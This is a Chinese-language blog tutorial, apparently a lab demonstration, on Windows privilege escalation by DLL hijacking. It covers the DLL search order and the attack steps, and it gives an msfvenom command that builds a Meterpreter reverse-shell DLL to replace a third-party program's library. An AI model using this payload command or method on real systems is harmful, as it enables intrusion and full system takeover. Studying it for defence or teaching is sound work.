【Windows提权】本地提权之dll劫持


0x001 原理

Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

Windows查找DLL目录及其顺序如下:

1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)

这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。

详细文章介绍:https://www.anquanke.com/post/id/225911

0x002 演示

程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成木马程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。

攻击过程:收集进程加载的dll-制作dll木马并上传-替换dll-启动应用后成功

我们在Windows2008装了一个第三方软件用于测试

1、收集进程加载的dll

使用火绒剑分析该进程执行时加载了哪些dll
在这里插入图片描述
系统文件一般我们是更改不了的,所以一般选择未知文件和数字签名文件。
在这里插入图片描述

2、msf制作dll木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.134  lport=6677 -f dll >./libssl-1_1.dll

在这里插入图片描述

3、替换dll

在这里插入图片描述

4、启动软件

在这里插入图片描述
启动后执行的是我们替换的木马dll,剩下就是使用msf监听端口接收反弹回来的shell就可以了,思路有很多,取决于我们制作的dll用于干什么。
在这里插入图片描述
这里劫持dll配合令牌窃取拿到了system权限

猜你喜欢

转载自blog.csdn.net/weixin_44032232/article/details/114366001
今日推荐